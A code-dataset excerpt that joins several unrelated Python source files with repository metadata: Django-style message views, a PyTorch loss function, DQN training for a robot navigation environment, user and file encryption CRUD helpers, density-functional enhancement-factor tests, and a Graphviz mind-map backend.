[ "Apache-2.0" ]
11
2015-05-06T14:16:54.000Z
2022-02-08T23:21:31.000Z
src/clm/views/user/message.py
fortress-shell/cc1
8113673fa13b6fe195cea99dedab9616aeca3ae8
[ "Apache-2.0" ]
1
2015-10-30T21:08:11.000Z
2015-10-30T21:08:11.000Z
src/clm/views/user/message.py
fortress-shell/cc1
8113673fa13b6fe195cea99dedab9616aeca3ae8
[ "Apache-2.0" ]
5
2016-02-12T22:01:38.000Z
2021-12-06T16:56:54.000Z
# -*- coding: utf-8 -*- # @COPYRIGHT_begin # # Copyright [2010-2014] Institute of Nuclear Physics PAN, Krakow, Poland # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # @COPYRIGHT_end """@package src.clm.views.user.message @alldecoratedby{src.clm.utils.decorators.user_log} """ from clm.models.message import Message from clm.utils.decorators import user_log from clm.utils.exception import CLMException @user_log(log=True) def delete(cm_id, caller_id, message_id): """ Deletes specified Message. @clmview_user @param_post{message_id,int} id of the message to delete """ m = Message.get(message_id) try: m.delete() except: raise CLMException('message_delete') @user_log(log=False) def get_list(cm_id, caller_id): """ Returns list of caller's messages. @clmview_user @response{list(dict)} dicts describing caller's messages """ return [m.dict for m in Message.objects.filter(user_id=caller_id)]
28.056604
77
0.717552
0
0
0
0
562
0.377942
0
0
1,039
0.698722
3414b567571ba9fec00a916eb601f4d6648a9a43
483
py
Python
src/Models/loss.py
HomerW/CSGNet
4ecc7f3e836867118dba3d5f220ed5e74a536b93
[ "MIT" ]
null
null
null
src/Models/loss.py
HomerW/CSGNet
4ecc7f3e836867118dba3d5f220ed5e74a536b93
[ "MIT" ]
null
null
null
src/Models/loss.py
HomerW/CSGNet
4ecc7f3e836867118dba3d5f220ed5e74a536b93
[ "MIT" ]
null
null
null
import torch import torch.nn as nn from torch.autograd import Variable nllloss = nn.NLLLoss() def losses_joint(out, labels, time_steps: int): """ Defines loss :param out: output from the network :param labels: Ground truth labels :param time_steps: Length of the program :return loss: Sum of categorical losses """ loss = Variable(torch.zeros(1)).cuda() for i in range(time_steps): loss += nllloss(out[i], labels[:, i]) return loss
24.15
47
0.670807
0
0
0
0
0
0
0
0
196
0.405797
3416177656664c60560be373002646f832de5c2d
213
py
Python
Curso/123.py
Rivelton/Python_Project1
c59add0ca483a459b7a046f595d3526a130107bc
[ "MIT" ]
null
null
null
Curso/123.py
Rivelton/Python_Project1
c59add0ca483a459b7a046f595d3526a130107bc
[ "MIT" ]
null
null
null
Curso/123.py
Rivelton/Python_Project1
c59add0ca483a459b7a046f595d3526a130107bc
[ "MIT" ]
null
null
null
def funcao1 (a, b): mult= a * b return mult def funcao2 (a, b): divi = a / b return divi multiplicacao = funcao1(3, 2) valor = funcao2(multiplicacao, 2) print(multiplicacao) print(int(valor))
13.3125
33
0.633803
0
0
0
0
0
0
0
0
0
0
341992e655fa9e12da06954d9bcf76629349ea0e
3,644
py
Python
rl-ros-agents/scripts/training/train_dqn.py
FranklinBF/arena2D
5dce3f0c41cce94691bbc9ca4f6ded124de61030
[ "MIT" ]
18
2020-08-02T07:25:24.000Z
2022-01-06T08:53:00.000Z
rl-ros-agents/scripts/training/train_dqn.py
FranklinBF/arena2D
5dce3f0c41cce94691bbc9ca4f6ded124de61030
[ "MIT" ]
4
2020-09-28T20:42:00.000Z
2020-10-10T01:41:43.000Z
rl-ros-agents/scripts/training/train_dqn.py
Sirupli/arena2D
2214754fe8e9358fa8065be5187d73104949dc4f
[ "MIT" ]
18
2020-08-15T19:37:48.000Z
2022-03-21T17:58:39.000Z
import rospy from stable_baselines.common.vec_env import SubprocVecEnv from rl_ros_agents.env_wappers.arena2dEnv import get_arena_envs, Arena2dEnvWrapper from rl_ros_agents.utils.callbacks import SaveOnBestTrainingRewardCallback from rl_ros_agents.utils import getTimeStr from stable_baselines import DQN from stable_baselines.common.policies import MlpLstmPolicy, FeedForwardPolicy from stable_baselines.deepq.policies import MlpPolicy from stable_baselines.bench import Monitor import tensorflow as tf import random import numpy as np import os import sys import argparse # disable tensorflow deprecated information tf.compat.v1.logging.set_verbosity(tf.compat.v1.logging.ERROR) LOGDIR = None GAMMA = 0.95 LEARNING_RATE = 0.00025 BUFFER_SIZE = 1000000 SYNC_TARGET_STEPS = 2000 N_STEPS = 4 MAX_GRAD_NORM = 0.1 BATCH_SIZE = 64 TIME_STEPS = int(1e8) REWARD_BOUND = 130 class CustomPolicy(FeedForwardPolicy): def __init__(self, *args, **kwargs): super(CustomPolicy, self).__init__(*args, **kwargs, net_arch=[64, 64, 64], act_fun=tf.nn.relu, feature_extraction="mlp") def main(log_dir=None, name_results_root_folder="results"): args = parseArgs() time_steps = TIME_STEPS # if log_dir doesnt created,use defaul one which contains the starting time of the training. if log_dir is None: if args.restart_training: # find the latest training folder latest_log_dir = os.path.join(name_results_root_folder, sorted(os.listdir(name_results_root_folder))[-1]) logdir = latest_log_dir else: defaul_log_dir = os.path.join(name_results_root_folder, "DQN_" + getTimeStr()) os.makedirs(defaul_log_dir, exist_ok=True) logdir = defaul_log_dir else: logdir = log_dir reward_bound = REWARD_BOUND # get arena environments and custom callback env = Monitor(Arena2dEnvWrapper(0, True), os.path.join(logdir, "arena_env0")) # env = Arena2dEnvWrapper(0, True) call_back = SaveOnBestTrainingRewardCallback(500, logdir, 1, reward_bound) # set temporary model path, if training was interrupted by the keyboard, the current model parameters will be saved. path_temp_model = os.path.join(logdir, "DQN_TEMP") if not args.restart_training: model = DQN(MlpPolicy, env, gamma=GAMMA, learning_rate=LEARNING_RATE, buffer_size=BUFFER_SIZE, target_network_update_freq=SYNC_TARGET_STEPS,tensorboard_log=logdir,verbose=1) reset_num_timesteps = True else: if os.path.exists(path_temp_model+".zip"): print("continue training the model...") model = DQN.load(path_temp_model, env=env) reset_num_timesteps = False else: print("Can't load the model with the path: {}, please check again!".format(path_temp_model)) env.close() exit(-1) # try: model.learn(time_steps, log_interval=200, callback=call_back, reset_num_timesteps=reset_num_timesteps) model.save(os.path.join(logdir, "DQN_final")) # except KeyboardInterrupt: # model.save(path_temp_model) # print("KeyboardInterrupt: saved the current model to {}".format(path_temp_model)) # finally: # env.close() # exit(0) def parseArgs(): parser = argparse.ArgumentParser() parser.add_argument("-r", "--restart_training", action="store_true", help="restart the latest unfinished training") return parser.parse_args() if __name__ == "__main__": main()
38.357895
123
0.69539
337
0.092481
0
0
0
0
0
0
793
0.217618
341b8abe8d9d5f16043f17419ff87aa397d65daa
2,681
py
Python
src/crud/user.py
JuanFKurucz/proyecto-seguridad
feb805c785afc57de19244e7916f232d3798a768
[ "MIT" ]
null
null
null
src/crud/user.py
JuanFKurucz/proyecto-seguridad
feb805c785afc57de19244e7916f232d3798a768
[ "MIT" ]
null
null
null
src/crud/user.py
JuanFKurucz/proyecto-seguridad
feb805c785afc57de19244e7916f232d3798a768
[ "MIT" ]
null
null
null
import os from datetime import datetime, timedelta from src.database.models.user import User # noqa from src.database.models.file import File # noqa from src.database.session import db_session # noqa from src.utils.hash import hash_pass from sqlalchemy.orm.exc import NoResultFound from src.utils.cipher import encrypt_file, decrypt_file from src.utils.hash import hash_md5, generate_token from src.utils.mail_sender import send_mail_login def create_user(username, email, password): user = User(username=username, email=email, hashed_password=hash_pass(username, password)) try: db_session.add(user) db_session.commit() db_session.flush() return user except: db_session.rollback() return None def connect_user(username, password): user = db_session.query(User).filter(User.username == username).first() if user and user.check_password(password=password): user.login_token = str(generate_token()) user.login_token_expiration = (datetime.now() + timedelta(minutes=5)).timestamp() db_session.add(user) db_session.commit() db_session.flush() send_mail_login(str(user.email), user.login_token) return user return None def encrypt_user_file(user, path, key): if not key: print("Error: se debe ingresar una clave") return if not path: print("Error: se debe ingresar una ruta de archivo") return nonce, ciphertext, mac = encrypt_file(hash_md5(key).encode("utf8"), path) if not ciphertext: print("Error al encriptar el archivo, puede que el archivo que quiera encriptar este vacio") return user.files.append( File(name=os.path.basename(path), encrypted_file=ciphertext, nonce=nonce, mac=mac) ) db_session.commit() def decrypt_user_file(user, file_id, path, key): if not path: print("No se especifico una ruta de archivo para guadar") return try: decrypt_file( hash_md5(key).encode("utf8"), db_session.query(File).filter(File.id == file_id).one(), path, ) except NoResultFound: print("El archivo no existe") except Exception: print("Error inesperado") def check_token_user(user, token): if user.login_token and user.login_token_expiration: date = datetime.fromtimestamp(user.login_token_expiration) if (date - datetime.now()).total_seconds() > 0: if user.login_token == token: return True else: print("Token invaldo") else: print("Token expirado") return False
31.174419
100
0.664677
0
0
0
0
0
0
0
0
316
0.117866
341e2f492c444f7a15060ea7f44584d28a341234
17,030
py
Python
symbolic_functionals/syfes/symbolic/enhancement_factors_test.py
shaun95/google-research
d41bbaca1eb9bfd980ec2b3fd201c3ddb4d1f2e5
[ "Apache-2.0" ]
1
2022-03-19T04:26:12.000Z
2022-03-19T04:26:12.000Z
symbolic_functionals/syfes/symbolic/enhancement_factors_test.py
shaun95/google-research
d41bbaca1eb9bfd980ec2b3fd201c3ddb4d1f2e5
[ "Apache-2.0" ]
null
null
null
symbolic_functionals/syfes/symbolic/enhancement_factors_test.py
shaun95/google-research
d41bbaca1eb9bfd980ec2b3fd201c3ddb4d1f2e5
[ "Apache-2.0" ]
1
2022-03-30T07:20:29.000Z
2022-03-30T07:20:29.000Z
# coding=utf-8 # Copyright 2022 The Google Research Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Tests for symbolic.enhancement_factors.""" import copy from absl.testing import absltest from absl.testing import parameterized import jax import numpy as np import sympy from symbolic_functionals.syfes.symbolic import enhancement_factors from symbolic_functionals.syfes.symbolic import instructions from symbolic_functionals.syfes.xc import gga from symbolic_functionals.syfes.xc import mgga jax.config.update('jax_enable_x64', True) class EnhancementFactorTest(parameterized.TestCase): def setUp(self): super().setUp() self.num_features = 2 self.num_shared_parameters = 2 self.num_variables = 3 self.features = { f'feature_{i}': np.random.rand(5) for i in range(self.num_features) } self.shared_parameters = { f'shared_parameter_{i}': np.random.rand() for i in range(self.num_shared_parameters) } self.bound_parameters = {'gamma_utransform': np.random.rand()} self.parameters = {**self.shared_parameters, **self.bound_parameters} self.variables = { f'variable_{i}': np.zeros(5) for i in range(self.num_variables - 1) } self.variables.update({'enhancement_factor': np.zeros(5)}) self.enhancement_factor = enhancement_factors.EnhancementFactor( feature_names=list(self.features.keys()), shared_parameter_names=list(self.shared_parameters.keys()), variable_names=list(self.variables.keys()), instruction_list=[ instructions.MultiplicationInstruction( 'variable_0', 'feature_0', 'shared_parameter_0'), instructions.AdditionInstruction( 'variable_1', 'feature_1', 'shared_parameter_1'), instructions.AdditionInstruction( 'variable_1', 'variable_1', 'variable_0'), instructions.Power2Instruction('enhancement_factor', 'variable_1'), instructions.UTransformInstruction( 'enhancement_factor', 'enhancement_factor') ]) def test_constructor(self): self.assertEqual(self.enhancement_factor.num_features, self.num_features) self.assertEqual(self.enhancement_factor.num_parameters, self.num_shared_parameters + 1) # 1 from UTransform self.assertEqual(self.enhancement_factor.num_variables, self.num_variables) def test_constructor_without_enhancement_factor_in_variable_names(self): with self.assertRaisesRegex( ValueError, '"enhancement_factor" not found in variable_names.'): enhancement_factors.EnhancementFactor( feature_names=[], shared_parameter_names=[], variable_names=[], instruction_list=[]) def test_constructor_with_repeated_name(self): with self.assertRaisesRegex(ValueError, 'Repeated names found in input.'): enhancement_factors.EnhancementFactor( feature_names=['var'], shared_parameter_names=['var'], variable_names=['enhancement_factor'], instruction_list=[]) def test_constructor_with_wrong_instruction_type(self): with self.assertRaisesRegex( TypeError, r"1 is of type <class 'int'>, not an " 'instance of instructions.Instruction'): enhancement_factors.EnhancementFactor( feature_names=list(self.features.keys()), shared_parameter_names=list(self.shared_parameters.keys()), variable_names=list(self.variables.keys()), instruction_list=[1]) @parameterized.parameters( (instructions.Power2Instruction('variable_0', 'var'), (r'Instruction variable_0 = var \*\* 2 contains invalid input argument ' 'var')), (instructions.AdditionInstruction('variable_0', 'shared_parameter_1', 'gamma_utransform'), (r'Instruction variable_0 = shared_parameter_1 \+ gamma_utransform ' 'contains invalid input argument gamma_utransform')), ) def test_constructor_with_invalid_input(self, instruction, error_message): with self.assertRaisesRegex(ValueError, error_message): enhancement_factors.EnhancementFactor( feature_names=list(self.features.keys()), shared_parameter_names=list(self.shared_parameters.keys()), variable_names=list(self.variables.keys()), instruction_list=[instruction]) @parameterized.parameters( (instructions.Power2Instruction('feature_0', 'shared_parameter_0'), (r'Instruction feature_0 = shared_parameter_0 \*\* 2 contains ' 'invalid output argument feature_0')), (instructions.AdditionInstruction( 'feature_1', 'shared_parameter_1', 'variable_1'), (r'Instruction feature_1 = shared_parameter_1 \+ variable_1 contains ' 'invalid output argument feature_1') ), (instructions.Power4Instruction( 'bound_parameter_1', 'shared_parameter_1'), (r'Instruction bound_parameter_1 = shared_parameter_1 \*\* 4 contains ' 'invalid output argument bound_parameter_1') ), ) def test_constructor_with_invalid_output(self, instruction, error_message): with self.assertRaisesRegex(ValueError, error_message): enhancement_factors.EnhancementFactor( feature_names=list(self.features.keys()), shared_parameter_names=list(self.shared_parameters.keys()), variable_names=list(self.variables.keys()), instruction_list=[instruction]) @parameterized.parameters(False, True) def test_eval(self, use_jax): tmp = ( (self.features['feature_0'] * self.parameters['shared_parameter_0']) + (self.features['feature_1'] + self.parameters['shared_parameter_1'])) tmp = self.parameters['gamma_utransform'] * tmp ** 2 expected_f = tmp / (1. + tmp) f = self.enhancement_factor.eval( self.features, self.parameters, use_jax=use_jax) np.testing.assert_allclose(f, expected_f) @parameterized.parameters(False, True) def test_b97_u_enhancement_factor(self, use_jax): gamma_x = 0.004 coeffs_x = 0.8094, 0.5073, 0.7481 x = np.random.rand(5) u = gga.u_b97(x, gamma=gamma_x) expected_f = gga.f_b97(x) f = enhancement_factors.f_b97_u.eval( features={'u': u}, parameters={ 'c0': coeffs_x[0], 'c1': coeffs_x[1], 'c2': coeffs_x[2], }, use_jax=use_jax) np.testing.assert_allclose(f, expected_f) @parameterized.parameters(False, True) def test_b97_u_short_enhancement_factor(self, use_jax): gamma_x = 0.004 coeffs_x = 0.8094, 0.5073, 0.7481 x = np.random.rand(5) u = gga.u_b97(x, gamma=gamma_x) expected_f = gga.f_b97(x) f = enhancement_factors.f_b97_u_short.eval( features={'u': u}, parameters={ 'c0': coeffs_x[0], 'c1': coeffs_x[1], 'c2': coeffs_x[2], }, use_jax=use_jax) np.testing.assert_allclose(f, expected_f) @parameterized.parameters(False, True) def test_b97_x2_enhancement_factor(self, use_jax): gamma_x = 0.004 coeffs_x = 0.8094, 0.5073, 0.7481 x = np.random.rand(5) x2 = (1 / 2)**(-2 / 3) * x**2 expected_f = gga.f_b97(x) f = enhancement_factors.f_b97_x2.eval( features={'x2': x2}, parameters={ 'c0': coeffs_x[0], 'c1': coeffs_x[1], 'c2': coeffs_x[2], 'gamma': gamma_x }, use_jax=use_jax) np.testing.assert_allclose(f, expected_f) @parameterized.parameters(False, True) def test_b97_x2_short_enhancement_factor(self, use_jax): gamma_x = 0.004 coeffs_x = 0.8094, 0.5073, 0.7481 x = np.random.rand(5) x2 = (1 / 2)**(-2 / 3) * x**2 expected_f = gga.f_b97(x) f = enhancement_factors.f_b97_x2_short.eval( features={'x2': x2}, parameters={ 'c0': coeffs_x[0], 'c1': coeffs_x[1], 'c2': coeffs_x[2], 'gamma_utransform': gamma_x }, use_jax=use_jax) np.testing.assert_allclose(f, expected_f) @parameterized.parameters( (enhancement_factors.f_x_wb97mv, enhancement_factors.f_css_wb97mv, enhancement_factors.f_cos_wb97mv, 'gamma'), (enhancement_factors.f_x_wb97mv_short, enhancement_factors.f_css_wb97mv_short, enhancement_factors.f_cos_wb97mv_short, 'gamma_utransform'), ) def test_wb97mv_enhancement_factors(self, f_x_wb97mv, f_css_wb97mv, f_cos_wb97mv, gamma_key): rho = np.random.rand(5) x = np.random.rand(5) tau = np.random.rand(5) x2 = (1 / 2)**(-2 / 3) * x**2 t = mgga.get_mgga_t(rho, tau, polarized=False) w = (t - 1) / (t + 1) expected_f_x = mgga.f_b97m( x, t, gamma=mgga.WB97MV_PARAMS['gamma_x'], power_series=mgga.WB97MV_PARAMS['power_series_x'], polarized=False) expected_f_css = mgga.f_b97m( x, t, gamma=mgga.WB97MV_PARAMS['gamma_ss'], power_series=mgga.WB97MV_PARAMS['power_series_ss'], polarized=False) expected_f_cos = mgga.f_b97m( x, t, gamma=mgga.WB97MV_PARAMS['gamma_os'], power_series=mgga.WB97MV_PARAMS['power_series_os'], polarized=False) f_x = f_x_wb97mv.eval( features={'x2': x2, 'w': w}, parameters={ 'c00': mgga.WB97MV_PARAMS['power_series_x'][0][2], 'c10': mgga.WB97MV_PARAMS['power_series_x'][1][2], 'c01': mgga.WB97MV_PARAMS['power_series_x'][2][2], gamma_key: mgga.WB97MV_PARAMS['gamma_x']}) f_css = f_css_wb97mv.eval( features={'x2': x2, 'w': w}, parameters={ 'c00': mgga.WB97MV_PARAMS['power_series_ss'][0][2], 'c10': mgga.WB97MV_PARAMS['power_series_ss'][1][2], 'c20': mgga.WB97MV_PARAMS['power_series_ss'][2][2], 'c43': mgga.WB97MV_PARAMS['power_series_ss'][3][2], 'c04': mgga.WB97MV_PARAMS['power_series_ss'][4][2], gamma_key: mgga.WB97MV_PARAMS['gamma_ss']}) f_cos = f_cos_wb97mv.eval( features={'x2': x2, 'w': w}, parameters={ 'c00': mgga.WB97MV_PARAMS['power_series_os'][0][2], 'c10': mgga.WB97MV_PARAMS['power_series_os'][1][2], 'c20': mgga.WB97MV_PARAMS['power_series_os'][2][2], 'c60': mgga.WB97MV_PARAMS['power_series_os'][3][2], 'c21': mgga.WB97MV_PARAMS['power_series_os'][4][2], 'c61': mgga.WB97MV_PARAMS['power_series_os'][5][2], gamma_key: mgga.WB97MV_PARAMS['gamma_os']}) np.testing.assert_allclose(f_x, expected_f_x) np.testing.assert_allclose(f_css, expected_f_css) np.testing.assert_allclose(f_cos, expected_f_cos) def test_convert_enhancement_factor_to_and_from_dict(self): self.assertEqual( self.enhancement_factor, enhancement_factors.EnhancementFactor.from_dict( self.enhancement_factor.to_dict())) @parameterized.parameters( enhancement_factors.f_empty, enhancement_factors.f_lda, enhancement_factors.f_b97_u, enhancement_factors.f_b97_u_short, enhancement_factors.f_b97_x2, enhancement_factors.f_b97_x2_short, enhancement_factors.f_x_wb97mv, enhancement_factors.f_css_wb97mv, enhancement_factors.f_cos_wb97mv, enhancement_factors.f_x_wb97mv_short, enhancement_factors.f_css_wb97mv_short, enhancement_factors.f_cos_wb97mv_short, ) def test_make_isomorphic_copy(self, enhancement_factor): features = { feature_name: np.random.rand(5) for feature_name in enhancement_factor.feature_names } shared_parameters = { parameter_name: np.random.rand() for parameter_name in enhancement_factor.shared_parameter_names } renamed_shared_parameters = { (enhancement_factor._isomorphic_copy_shared_parameter_prefix + str(index)): value for index, value in enumerate(shared_parameters.values()) } bound_parameters = { parameter_name: np.random.rand() for parameter_name in enhancement_factor.bound_parameter_names } enhancement_factor_copy = enhancement_factor.make_isomorphic_copy() np.testing.assert_allclose( enhancement_factor.eval( features=features, parameters={ **shared_parameters, **bound_parameters}), enhancement_factor_copy.eval( features=features, parameters={ **renamed_shared_parameters, **bound_parameters}) ) def test_make_isomorphic_copy_of_f_x_wb97mv_short(self): f_x_wb97mv_copy = enhancement_factors.f_x_wb97mv_short.make_isomorphic_copy( feature_names=['rho', 'x2', 'w'], num_shared_parameters=10, num_variables=10) self.assertEqual(f_x_wb97mv_copy.feature_names, ['rho', 'x2', 'w']) self.assertEqual(f_x_wb97mv_copy.num_shared_parameters, 10) self.assertEqual( f_x_wb97mv_copy.shared_parameter_names, [f_x_wb97mv_copy._isomorphic_copy_shared_parameter_prefix + str(index) for index in range(10)]) self.assertEqual( f_x_wb97mv_copy.variable_names, [f_x_wb97mv_copy._isomorphic_copy_variable_prefix + str(index) for index in range(9)] + ['enhancement_factor']) def test_make_isomorphic_copy_enhancement_factor_variable_location(self): f_x_wb97mv_shuffled = copy.deepcopy(enhancement_factors.f_x_wb97mv_short) f_x_wb97mv_shuffled.variable_names.remove('enhancement_factor') f_x_wb97mv_shuffled.variable_names.insert( np.random.randint(len(f_x_wb97mv_shuffled.variable_names)), 'enhancement_factor') self.assertEqual( enhancement_factors.f_x_wb97mv_short.make_isomorphic_copy(), f_x_wb97mv_shuffled.make_isomorphic_copy()) def test_make_isomorphic_copy_repeated_feature_names(self): with self.assertRaisesRegex( ValueError, 'Repeated feature names'): enhancement_factors.f_b97_u.make_isomorphic_copy( feature_names=['u', 'u']) def test_make_isomorphic_copy_wrong_feature_names(self): with self.assertRaisesRegex( ValueError, r"feature_names \['rho', 'x2'\] is not a superset of feature_names of " r"current instance \['w', 'x2'\]"): enhancement_factors.f_x_wb97mv.make_isomorphic_copy( feature_names=['rho', 'x2']) def test_make_isomorphic_copy_wrong_num_shared_parameters(self): with self.assertRaisesRegex( ValueError, 'num_shared_parameters 5 is smaller than ' 'that of current instance 6'): enhancement_factors.f_cos_wb97mv_short.make_isomorphic_copy( num_shared_parameters=5) def test_make_isomorphic_copy_wrong_num_variables(self): with self.assertRaisesRegex( ValueError, 'num_variables 3 is smaller than ' 'that of current instance 5'): enhancement_factors.f_cos_wb97mv_short.make_isomorphic_copy( num_variables=3) @parameterized.parameters( (enhancement_factors.f_b97_u, 3), (enhancement_factors.f_b97_u_short, 3), (enhancement_factors.f_b97_x2, 4), (enhancement_factors.f_b97_x2_short, 4), (enhancement_factors.f_x_wb97mv_short, 4),) def test_num_used_parameters( self, enhancement_factor, expected_num_used_parameters): self.assertEqual(enhancement_factor.num_used_parameters, expected_num_used_parameters) self.assertEqual( enhancement_factor.make_isomorphic_copy( num_shared_parameters=20).num_used_parameters, expected_num_used_parameters) def test_get_symbolic_expression(self): c0, c1, c2, gamma, x = sympy.symbols( 'c0 c1 c2 gamma_utransform x') self.assertEqual( enhancement_factors.f_b97_x2_short.get_symbolic_expression( latex=False, simplify=False), (c0 + c1 * gamma * x ** 2 / (gamma * x ** 2 + 1.) + c2 * gamma ** 2 * x ** 4 / (gamma * x ** 2 + 1.) ** 2)) def test_get_symbolic_expression_latex(self): self.assertEqual( enhancement_factors.f_b97_x2_short.get_symbolic_expression( latex=True, simplify=False), r'c_{0} + \frac{c_{1} \gamma_{u} x^{2}}{\gamma_{u} x^{2} + 1.0} + ' r'\frac{c_{2} \gamma_{u}^{2} x^{4}}{\left(\gamma_{u} x^{2} + ' r'1.0\right)^{2}}') if __name__ == '__main__': absltest.main()
38.792711
80
0.669818
15,930
0.935408
0
0
9,507
0.55825
0
0
3,004
0.176395
341ebe71ad93bbea2ec0dff9463d963049755d6d
87
py
Python
tests/test_demo.py
nielsonf/hello_world
90af4baa85900b3b5126b6dfc3031d3f2e149341
[ "MIT" ]
null
null
null
tests/test_demo.py
nielsonf/hello_world
90af4baa85900b3b5126b6dfc3031d3f2e149341
[ "MIT" ]
null
null
null
tests/test_demo.py
nielsonf/hello_world
90af4baa85900b3b5126b6dfc3031d3f2e149341
[ "MIT" ]
null
null
null
import pytest def test_cube(): from demo.demo import cube assert cube(2) == 8
14.5
30
0.666667
0
0
0
0
0
0
0
0
0
0
34201d3dfddf5ac6be1a5329fb80307bba79ff70
4,503
py
Python
orglearn/mind_map/backend/graphviz.py
MatejKastak/orglearn
cf0b45f179018438508f5af6d9125675b5922c8c
[ "MIT" ]
5
2020-01-28T21:50:50.000Z
2021-08-13T08:30:00.000Z
orglearn/mind_map/backend/graphviz.py
MatejKastak/orglearn
cf0b45f179018438508f5af6d9125675b5922c8c
[ "MIT" ]
29
2020-05-31T11:51:44.000Z
2021-06-09T18:58:03.000Z
orglearn/mind_map/backend/graphviz.py
MatejKastak/orglearn
cf0b45f179018438508f5af6d9125675b5922c8c
[ "MIT" ]
null
null
null
import colour import graphviz from orglearn.mind_map.backend.backend import Backend class Graphviz(Backend): def __init__(self, *args, **kwargs): self.ignore_shallow_tags = set(kwargs.get("ignore_shallow_tags_list", [])) self.ignore_tags = set(kwargs.get("ignore_tags_list", [])) self.base_color = colour.Color("green") def convert(self, tree, stream, **kwargs): # TODO: Maybe create heading from file name # self.dot = graphviz.Digraph(comment='asd') self.dot = graphviz.Digraph(comment="asd") # self.dot.attr(size='6,6') # self.dot.attr('graph', size='8.3,11.7!') # self.dot.attr('graph', size='11.7,8.3!') # self.dot.attr('graph', page='8.3,11.7!') # self.dot.attr('graph', page='11.7,8.3!') # self.dot.attr('graph', ratio='auto') self.dot.attr("graph", ratio="scale") self.dot.attr("graph", splines="spline") self.dot.attr("node", shape="box") self.dot.attr("graph", overlap="false") self.dot.attr("edge", arrowhead="vee", arrowtail="vee", arrowsize="0.75") # self.dot.attr('graph', mindist='5.0') # self.dot.engine = "neato" # self.dot.engine = "circo" self.dot.engine = "fdp" # self.dot.attr('graph', ratio='0.2') # self.dot.attr('graph', K='100') # self.dot.attr('graph', maxiter='100') try: # Try to set the center node text to a org file title comment tree.root.heading = tree._special_comments["TITLE"][0] except KeyError: tree.root.heading = "MAP" # Generate color gradient based on the depht of the org tree max_depth = 1 for child in tree: max_depth = max(max_depth, child.level + 1) self.colors = list(self.base_color.range_to(colour.Color("white"), max_depth)) self._process_node(tree.root) # TODO: Add option to split on highest level into files # TODO: Cannot take stream self.dot.render(stream.name) def _process_node(self, tree_node): """Create a map node from tree node and proccess its children.""" # TODO(mato): What to do with a node body # First construct the current node # if tree_node.level == 0: # self.dot.node(self._create_id(tree_node), tree_node.heading, shape='star', color='black') # elif tree_node.level == 1: # self.dot.node(self._create_id(tree_node), tree_node.heading, shape='doublecircle') # else: # if tree_node.level == 0: # self.dot.attr('node', shape='diamond', style='filled', color='lightgray') # else: # self.dot.attr('node', shape='ellipse', color='black') # height: 0.5 # width: 0.75 scale = 0.80 ** tree_node.level height = str(1 * scale) width = str(2 * scale) self.dot.attr( "node", height=height, width=width, style="filled", fillcolor=self.colors[tree_node.level].get_hex_l(), ) self.dot.node(self._create_id(tree_node), tree_node.heading) # If node has a parrent, create a link to it if tree_node.parent is not None: self.dot.edge( self._create_id(tree_node.parent), self._create_id(tree_node) ) # , constraint='false') # Process all children of this node for c in tree_node.children: if not self.ignore_tags.intersection(c.tags): self._process_node(c) def _create_id(self, node): """Hash the node to create identifier to reference nodes.""" # TODO: We should double escape the '\' characters try: return ( self._normalize_heading(node.parent.heading) + "%" + str(node.level) + "%" + self._normalize_heading(node.heading) ) except AttributeError: return str(node.level) + "%" + self._normalize_heading(node.heading) def _normalize_heading(self, heading): """Normalize heading for dot format. Essentialy remove all ':' from headings.""" return heading.replace(":", "") def get_ext(self): # Graphviz automatically appends the '.pdf' # And we don't want to colide with `pdf` command so prepend the '-map' # This results in: "<filename>-map.pdf" return "-map"
38.818966
103
0.578281
4,416
0.98068
0
0
0
0
0
0
1,939
0.430602
342071a537bef9145222cc0990c688ce4c107e88
1,425
py
Python
parser/team17/Interprete/TYPE/type.py
webdev188/tytus
847071edb17b218f51bb969d335a8ec093d13f94
[ "MIT" ]
35
2020-12-07T03:11:43.000Z
2021-04-15T17:38:16.000Z
parser/team17/Interprete/TYPE/type.py
webdev188/tytus
847071edb17b218f51bb969d335a8ec093d13f94
[ "MIT" ]
47
2020-12-09T01:29:09.000Z
2021-01-13T05:37:50.000Z
parser/team17/Interprete/TYPE/type.py
webdev188/tytus
847071edb17b218f51bb969d335a8ec093d13f94
[ "MIT" ]
556
2020-12-07T03:13:31.000Z
2021-06-17T17:41:10.000Z
from Interprete.NodoAST import NodoArbol from Interprete.Tabla_de_simbolos import Tabla_de_simbolos from Interprete.Arbol import Arbol from Interprete.Valor.Valor import Valor from Interprete.Primitivos.TIPO import TIPO from Interprete.SELECT.indexador_auxiliar import indexador_auxiliar from Interprete.SELECT.indexador_auxiliar import IAT from Interprete.simbolo import Simbolo from Interprete.Manejo_errores.ReporteTS import ReporteTS class type(NodoArbol): def __init__(self, indentificador, ListaTipos, line, coliumn): super().__init__(line, coliumn) self.indentificador = indentificador self.ListaTipos = ListaTipos def execute(self, entorno: Tabla_de_simbolos, arbol: Arbol): indentificador = self.indentificador value:Valor = Valor(TIPO.LISTA, indentificador) lista = [] for i in self.ListaTipos: val:Valor = i.execute(entorno, arbol) value.insert_tipo_toType(str(val.data)) lista.append(str(val.data)) simbol:Simbolo = Simbolo(indentificador, TIPO.LISTA, value) entorno.insertar_variable(simbol) arbol.console.append("\n" + "Type: " + indentificador + " --> Valores: "+ str(lista) + "\n") TS:ReporteTS = ReporteTS( indentificador, "type", "Global", self.linea, self.columna ) arbol.ReporteTS.append(TS) return
39.583333
100
0.690526
986
0.69193
0
0
0
0
0
0
46
0.032281
34210500bd30a4f38c9990538692f030d9f6352e
57
py
Python
card_detection_module/nanodet/__init__.py
nhatnxn/ID_Passport-OCR
78322ec2b9648d0b027326dced7c4aec967bcab3
[ "MIT" ]
1
2021-06-30T11:01:25.000Z
2021-06-30T11:01:25.000Z
card_detection_module/nanodet/__init__.py
nhatnxn/ID_Passport-OCR
78322ec2b9648d0b027326dced7c4aec967bcab3
[ "MIT" ]
null
null
null
card_detection_module/nanodet/__init__.py
